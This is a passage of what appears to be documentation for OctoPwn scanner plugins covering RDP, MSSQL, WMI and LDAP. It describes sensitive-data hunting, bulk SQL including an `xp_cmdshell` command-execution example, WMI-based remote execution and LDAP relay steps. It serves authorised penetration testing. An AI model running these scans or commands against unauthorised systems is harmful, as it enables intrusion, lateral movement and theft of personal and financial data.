client](../clients/rdp.md#authentication). Use `PLAIN` for local accounts and standalone Windows logins, `NTLM` / `KERBEROS` for domain accounts, and combine `NTLM` + an NT-hash credential against hosts that allow RestrictedAdmin (often surfaced by [rdpcap](rdpcap.md)). The client doc has the full secret-type / CredSSP breakdown. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### screentime Specifies the time (in seconds) to wait for frame data before moving to the next target. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. See the [RDP client authentication](../clients/rdp.md#authentication) section for the full breakdown of which secret types each `authtype` accepts. Available protocols: - `PLAIN` — local / standalone Windows accounts and any RDP server that accepts cleartext. - `NTLM` — Windows / domain accounts (also the path for NT-hash + RestrictedAdmin). - `KERBEROS` — Windows / domain accounts. #### dialect Specifies the connection dialect. Fixed to `RDP` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. Enter the Kerberos realm (domain name) for authentication. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each target. #### workercount Specifies the number of parallel workers for the scan. --- # [Scanners / MSSQL data hunting] mssqlfinger Source: https://docs.octopwn.com/plugins/scanners/mssqlfinger.html # MSSQL Fingerprint Scanner (mssqlfinger) The **MSSQL Fingerprint Scanner** is the SQL-server equivalent of [smbfinger](smbfinger.md). It connects to each MSSQL listener (default port 1433), starts a TDS pre-login and triggers an NTLM challenge — all without authenticating. The challenge response leaks a useful chunk of Active Directory metadata that the SQL service exposes for free. The following details are gathered during the scan: - **domainname** — NetBIOS domain name of the host. - **computername** — NetBIOS computer name. - **dnsforestname** — Active Directory DNS forest name. - **dnsdomainname** — AD DNS domain name. - **dnscomputername** — Fully-qualified DNS computer name. - **local_time** — Server clock as reported by NTLM (handy for Kerberos / clock-skew diagnostics). - **os_major_version**, **os_minor_version**, **os_build** — OS version triplet. - **os_guess** — Best-effort OS string derived from the version triplet. Use it to discover Active Directory information and OS versions on SQL servers without needing any credentials — ideal for early-stage network reconnaissance, especially when SMB is firewalled but TDS is not. !!! info "No credentials required" The scanner uses an **unauthenticated** TDS pre-login. You do not need to set the `credential` parameter for this scan. !!! tip "Authenticated follow-up" Once you have a SQL Server credential, the [MSSQL client](../clients/mssql.md) is the natural next stop — the [authentication section](../clients/mssql.md#authentication) explains when to use `PLAIN` (`sa`-style logins) vs. `NTLM` / `KERBEROS` (domain accounts), and the [transport section](../clients/mssql.md#transport) covers TCP/1433 (`MSSQL`) vs. SMB-named-pipe (`MSSQLPIPE`) when 1433 is firewalled. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:1433`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:1433/tcp`). --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `MSSQL` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `mssqlfinger` scan when discovered by other scanners. Pre-populated with `1433/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / MSSQL data hunting] mssqlpipe Source: https://docs.octopwn.com/plugins/scanners/mssqlpipe.html # MSSQL Named-Pipe Scanner (mssqlpipe) The **MSSQL Named-Pipe Scanner** discovers MSSQL instances that are reachable through SMB named pipes (port 445), even when TCP 1433 is firewalled. It connects to `IPC$` on each target, lists every named pipe, and matches the pipe names against a configurable regex (defaults to the standard MSSQL pipe pattern: `sql\query` or `MSSQL$<INSTANCE>\sql\query`). For every matching pipe the scanner can also attempt a TDS connection through the pipe to confirm the SQL instance is reachable and accepts the supplied credential. Each result row contains the target IP, the pipe name, the full UNC path and a `LOGINOK` boolean. This is particularly useful when MSSQL is hidden behind firewall rules that allow SMB but block direct TDS — a surprisingly common setup for legacy applications. Finding SQL instances behind named pipes expands your attack surface for data access and potential command execution via `xp_cmdshell`. !!! tip "Workflow" 1. **mssqlpipe** — discover SQL instances reachable through SMB pipes. 2. [mssqllogin](mssqllogin.md) (with `pipename` set) — confirm credentials work over the pipe. 3. [mssqladmin](mssqladmin.md), [mssqldbinfo](mssqldbinfo.md), [mssqlquery](mssqlquery.md) — continue the SQL workflow over the pipe by setting their `pipename` parameter. !!! tip "Authentication" This scanner uses **two** credential slots that map to the same authentication surface as the [MSSQL client](../clients/mssql.md#authentication) — specifically the `MSSQLPIPE` transport row in the [transport table](../clients/mssql.md#transport). - `credential` (`authtype`) authenticates the **SMB** connection that hosts the named pipe. Only `NTLM` / `KERBEROS` are valid here — there is no anonymous SMB pipe access. - `sqlcredential` (optional) authenticates the **TDS-over-pipe** SQL login. It supports the same `PLAIN` / `NTLM` / `KERBEROS` mix as the MSSQL client, so use `PLAIN` for SQL Server logins (`sa`, `dbadmin`, application accounts) and `NTLM` / `KERBEROS` for domain accounts (`CONTOSO\jdoe`). When omitted, the SMB credential is reused for SQL. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for the SMB connection. Enter the ID of the credential stored in the Credentials Window. #### sqlcredential Optional separate credential ID to use for the **SQL** login through the discovered pipe. Leave empty to reuse the SMB credential. Useful when the SMB-side identity is a Windows account but you want to test a different SQL login over the pipe. #### sqlpiperegex Regex used to identify which named pipes look like SQL listeners. Default: ``` ^(?:MSSQL\$[A-Za-z0-9_-]+\\)?sql\\query$ ``` This matches both the default-instance pipe (`sql\query`) and named-instance pipes (`MSSQL$INSTANCE\sql\query`). Loosen it if you have non-standard naming. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol used for the SMB connection that hosts the named pipe. The optional `sqlcredential` (above) covers the TDS-over-pipe SQL login independently — see the [MSSQL client authentication](../clients/mssql.md#authentication) section for the full breakdown. Available protocols: - `NTLM` - `KERBEROS` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `mssqlpipe` scan when discovered by other scanners. Pre-populated with `445/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / MSSQL data hunting] mssqldbinfo Source: https://docs.octopwn.com/plugins/scanners/mssqldbinfo.html # MSSQL Database Info Scanner (mssqldbinfo) The **MSSQL Database Info Scanner** maps the full schema of every accessible database on each target SQL Server: databases → schemas → tables → columns, plus an approximate row count per table. System databases (`master`, `model`, `msdb`, `tempdb`) are excluded by default. You can additionally skip specific databases, schemas, tables or columns through the `skip*` parameters. Each result row contains the target IP, database name, schema, table name, column name and the row count of that table. The output gives you a complete map of where data lives across the SQL estate — the natural prerequisite for targeted data extraction. !!! tip "MSSQL hunting workflow" 1. [mssqllogin](mssqllogin.md) — confirm credentials work. 2. **mssqldbinfo** — discover the schema landscape across all accessible servers. 3. [mssqlsensdata](mssqlsensdata.md) — automatically flag columns whose names suggest sensitive data (PII, financials, secrets) and sample them. 4. [mssqlquery](mssqlquery.md) — extract the exact rows you want with custom SQL. !!! tip "Authentication" This scanner uses the same authentication surface as the [MSSQL client](../clients/mssql.md#authentication). Use `PLAIN` for SQL Server logins (`sa`, `dbadmin`, application accounts), and `NTLM` / `KERBEROS` for domain accounts (`CONTOSO\jdoe`). The client doc has the full secret-type tables and a "Picking the right `atype` at a glance" cheat sheet. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### pipename Optional SMB pipe name to tunnel the MSSQL connection through. Leave empty for direct TDS over TCP. #### skipdatabases Comma-separated list of database names to skip during enumeration. Useful for excluding application databases that you have already mapped, or for narrowing scope to one or two specific databases. #### skipschemas Comma-separated list of schema names to skip. Most workloads can safely skip `sys`, `INFORMATION_SCHEMA`, `db_*` and similar. #### skiptables Comma-separated list of table names to skip. #### skipcolumns Comma-separated list of column names to skip. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:1433`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:1433/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. See the [MSSQL client authentication](../clients/mssql.md#authentication) section for the full breakdown of which secret types each `authtype` accepts. Available protocols: - `PLAIN` — SQL Server logins (`sa`, `dbadmin`, application accounts). - `NTLM` — Windows / domain accounts. - `KERBEROS` — Windows / domain accounts. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `MSSQL` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `mssqldbinfo` scan when discovered by other scanners. Pre-populated with `1433/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / MSSQL data hunting] mssqlsensdata Source: https://docs.octopwn.com/plugins/scanners/mssqlsensdata.html # MSSQL Sensitive Data Scanner (mssqlsensdata) The **MSSQL Sensitive Data Scanner** automates the search for high-impact data exposure across SQL Server estates. It walks every accessible database, schema, table and column, then matches the table and column names against a built-in keyword dictionary covering six priority-ordered categories: - **P1 PAYROLL** — salary, wages, compensation, bonuses, commissions, … - **P2 FINANCIAL** — credit cards, bank accounts, IBANs, account numbers, … - **P3 PII** — SSNs, passports, driver licenses, dates of birth, addresses, … - **P4 HEALTH** — medical records, diagnoses, prescriptions (HIPAA-relevant). - **P5 CONTACT** — addresses, phone numbers, email addresses. - **P6 AUTH** — passwords, API keys, tokens, secrets. When a match is found the scanner samples a configurable number of rows and (optionally) verifies the data format — for example, a Luhn check on credit card numbers or a regex on SSNs. Results are returned in priority order so the most alarming findings (payroll, financials, secrets) appear first. Each result row carries the target IP, database, schema, table, column, the matched **CATEGORY** + **PRIORITY**, what the match was on (table or column name), the matched **KEYWORD**, the table's row count, a `VERIFIED` flag, and the optional sample data. !!! tip "Tailor with custom keywords" Use the `customkeywords` parameter to inject organisation-specific terms (project codenames, HR system names, internal terminology). Custom keywords are always treated as **priority 1** so they bubble to the top of the report. !!! warning "Sample data leaves the database" When `storesamples` is enabled (default) the sampled cell values are written into the project results — useful for proof, but treat the project file as sensitive afterwards. Set `storesamples` to `False` to flag candidate columns without actually retaining the sampled data. !!! tip "Authentication" This scanner uses the same authentication surface as the [MSSQL client](../clients/mssql.md#authentication). Use `PLAIN` for SQL Server logins (`sa`, `dbadmin`, application accounts), and `NTLM` / `KERBEROS` for domain accounts (`CONTOSO\jdoe`). The client doc has the full secret-type tables and a "Picking the right `atype` at a glance" cheat sheet. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### pipename Optional SMB pipe name to tunnel the MSSQL connection through. Leave empty for direct TDS over TCP. #### samplesize Number of rows to sample per matched column. Defaults to `5`. Set to `0` to disable sampling and only report column matches. #### verifysample When `True` (default), sampled values are checked against per-category validators (Luhn for credit cards, SSN regex, IBAN checksum, …). The `VERIFIED` flag in the result indicates whether the sample passed validation. #### storesamples When `True` (default), the sampled values are stored in the result `SAMPLE_DATA` column for evidence. Disable when you want to know **where** sensitive data lives without copying any of it back. #### customkeywords Extra keywords to look for during column / table name matching. Always treated as priority 1. #### skipdatabases Comma-separated list of databases to skip. #### skipschemas Comma-separated list of schemas to skip. `sys`, `INFORMATION_SCHEMA` and similar housekeeping schemas are usually safe to exclude. #### skiptables Comma-separated list of tables to skip. #### skipcolumns Comma-separated list of columns to skip. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:1433`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:1433/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. See the [MSSQL client authentication](../clients/mssql.md#authentication) section for the full breakdown of which secret types each `authtype` accepts. Available protocols: - `PLAIN` — SQL Server logins (`sa`, `dbadmin`, application accounts). - `NTLM` — Windows / domain accounts. - `KERBEROS` — Windows / domain accounts. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `MSSQL` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `mssqlsensdata` scan when discovered by other scanners. Pre-populated with `1433/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / MSSQL data hunting] mssqlquery Source: https://docs.octopwn.com/plugins/scanners/mssqlquery.html # MSSQL Query Scanner (mssqlquery) The **MSSQL Query Scanner** runs an arbitrary SQL statement against every target MSSQL server (default port 1433) and streams every result row back. It connects with the supplied credential, executes the configured query (defaults to `SELECT @@VERSION`) and emits each returned row as a separate result entry. All columns returned by the query are preserved in the output as key/value pairs. This is your bulk-SQL Swiss army knife: query linked servers, check server configurations, extract specific tables, run `xp_cmdshell` on instances where you have sysadmin, or run anything else SQL Server understands — across many servers in one scan. !!! tip "Workflow" 1. [mssqllogin](mssqllogin.md) — confirm credentials. 2. [mssqldbinfo](mssqldbinfo.md) — understand what schema you're shooting at. 3. **mssqlquery** — extract exactly what you need. !!! example "Useful queries" - `SELECT name FROM sys.databases` — list databases. - `SELECT name, type_desc FROM sys.server_principals` — list logins. - `SELECT @@VERSION` — version banner. - `SELECT name, srvname, srvproduct FROM sys.sysservers` — linked servers (great for further pivoting). - `EXEC xp_cmdshell 'whoami'` — command execution (sysadmin only). !!! tip "Authentication" This scanner uses the same authentication surface as the [MSSQL client](../clients/mssql.md#authentication). Use `PLAIN` for SQL Server logins (`sa`, `dbadmin`, application accounts), and `NTLM` / `KERBEROS` for domain accounts (`CONTOSO\jdoe`). The client doc has the full secret-type tables and a "Picking the right `atype` at a glance" cheat sheet. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### pipename Optional SMB pipe name to tunnel the MSSQL connection through. Leave empty for direct TDS over TCP. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:1433`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:1433/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. See the [MSSQL client authentication](../clients/mssql.md#authentication) section for the full breakdown of which secret types each `authtype` accepts. Available protocols: - `PLAIN` — SQL Server logins (`sa`, `dbadmin`, application accounts). - `NTLM` — Windows / domain accounts. - `KERBEROS` — Windows / domain accounts. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `MSSQL` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### query The SQL statement to execute. Defaults to `SELECT @@VERSION`. Marked as advanced because the parameter slot is internally tagged that way, but in practice you almost always want to set it. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `mssqlquery` scan when discovered by other scanners. Pre-populated with `1433/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / WMI] wmiadmin Source: https://docs.octopwn.com/plugins/scanners/wmiadmin.html # WMI Admin Privilege Scanner (wmiadmin) The **WMI Admin Privilege Scanner** verifies whether the configured credential has administrative access to the WMI service on each target host. It connects via DCOM/RPC (port 135 for the endpoint mapper, then a dynamic high port; SMB on 445 is also used for authentication transport) and attempts a WMI operation that requires admin privileges. The result is a simple boolean `ADMIN` flag per target. Administrative WMI access enables a powerful set of post-exploitation capabilities, all without dropping files to disk: - **Remote command execution** via `Win32_Process.Create`. - **Software inventory and patch level** via `Win32_Product`, `Win32_QuickFixEngineering`. - **Service and scheduled task enumeration** via `Win32_Service`, `Win32_ScheduledJob`. - **Event log access** via `Win32_NTLogEvent`. - **Network and system configuration** via dozens of `Win32_*` classes. Use this scanner to map which hosts in scope accept your current credentials for WMI-based lateral movement and remote execution. !!! tip "Workflow" 1. **wmiadmin** — find the hosts where the credential is admin. 2. Use the [WMI client](../clients/wmi.md) for interactive enumeration / execution against the discovered hosts — the client doc covers the full DCOM transport (TCP/135 + dynamic high port), command groups, and the `NTLM` / `KERBEROS` authentication matrix. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:135`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:135/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `WMI` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `wmiadmin` scan when discovered by other scanners. Pre-populated with `135/TCP, 445/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / WMI] wmiquery Source: https://docs.octopwn.com/plugins/scanners/wmiquery.html # WMI Query Scanner (wmiquery) The **WMI Query Scanner** executes a custom **WQL** (WMI Query Language) statement against each target host via DCOM/RPC and streams the result rows back. It connects with the supplied credential, runs the configured WQL query (defaults to `SELECT * FROM Win32_OperatingSystem`) and emits one result entry per returned row. WQL can interrogate almost every aspect of a Windows system: processes, services, installed software, hotfixes, network configuration, user accounts, scheduled tasks, registry, file system, hardware inventory and many more. This makes `wmiquery` an extremely flexible bulk-enumeration tool — write a WQL query once and run it across hundreds of hosts. !!! tip "Workflow" 1. [wmiadmin](wmiadmin.md) — confirm admin access (most useful WQL queries require it). 2. **wmiquery** — run your custom WQL across the confirmed hosts. 3. For interactive WQL, command execution, registry manipulation and shadow-copy work, drop into the [WMI client](../clients/wmi.md) — same DCOM transport (TCP/135 + dynamic high port) and the same `NTLM` / `KERBEROS` authentication. !!! example "Useful WQL queries" - `SELECT * FROM Win32_OperatingSystem` — OS details, install date, last boot. - `SELECT * FROM Win32_QuickFixEngineering` — installed hotfixes / patches. - `SELECT Name, ProcessId, CommandLine FROM Win32_Process` — running processes. - `SELECT * FROM Win32_Product` — installed software (slow on many systems). - `SELECT * FROM Win32_Service WHERE State='Running'` — running services. - `SELECT * FROM Win32_LoggedOnUser` — currently logged-on users. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### query The WQL statement to execute. Defaults to `SELECT * FROM Win32_OperatingSystem`. Standard WQL syntax — note that WQL is a subset of SQL with some differences (no `JOIN`, `LIKE` uses `%` wildcards, etc.). #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:135`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:135/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### protocol Specifies the protocol. Fixed to `WMI` for this scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `wmiquery` scan when discovered by other scanners. Pre-populated with `135/TCP, 445/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / LDAP & NFS] ldapsig Source: https://docs.octopwn.com/plugins/scanners/ldapsig.html # LDAP Signing Scanner (ldapsig) The **LDAP Signing Scanner** in OctoPwn determines whether LDAP signing is enforced on target LDAP servers. LDAP signing ensures the integrity and security of communication by requiring digitally signed data. Systems without enforced LDAP signing are more vulnerable to certain attacks, such as LDAP relaying. LDAP relaying is an attack technique where a malicious actor intercepts and relays LDAP traffic to impersonate the original user or escalate privileges. Without LDAP signing enforcement, attackers can: - Relay intercepted NTLM authentication requests to the LDAP server. - Exploit misconfigured systems to escalate privileges or gain unauthorized access. - Use tools like **ntlmrelayx** or our [LDAP relay server](../servers/relayldap.md) to abuse LDAP features, such as enabling delegation, modifying ACLs, or escalating permissions for user accounts. **High-Level Example of LDAP Relaying** 1. **Intercept NTLM Authentication**: An attacker captures NTLM hashes using coercion tools (e.g. [printerbug](../clients/smb.md#ntlm-coercion)) or other methods. 2. **Relay to LDAP**: The captured hashes are relayed to an LDAP server without signing enforcement. 3. **Modify Directory Objects**: The attacker performs unauthorized operations, such as enabling delegation on a machine account, or granting higher privileges to their controlled user. !!! tip "Authentication" The UI exposes the standard `authtype` field (`NTLM`, `KERBEROS`, `SIMPLE`, `SSL`), but **this scanner always binds with NTLM** — the signing/channel-binding probe is hardcoded to `asyauthProtocol.NTLM` in the executor because the test only makes sense against an NTLM-capable bind. The `authtype` selection here therefore has no effect on the probe; supply any NTLM-compatible credential and the right `authtype` (e.g. `NTLM`) so the credential resolves cleanly. For interactive LDAP work — including the full `NTLM` / `KERBEROS` / `SIMPLE` / `SSL` matrix, `LDAPS` vs. `STARTTLS`, and client-certificate authentication — see the [LDAP client authentication](../clients/ldap.md#authentication) section. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:<groupname>` (e.g., `g:test1`). - **Multiple Groups**: `g:<groupname1>,g:<groupname2>` (e.g., `g:test1,g:test2`). - **Port Group**: `p:<port>` (e.g., `p:445`). - **Port Group with Protocol**: `p:<port>/<protocol>` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the connection dialect. Available dialects: - `LDAP` - `LDAPS` #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a 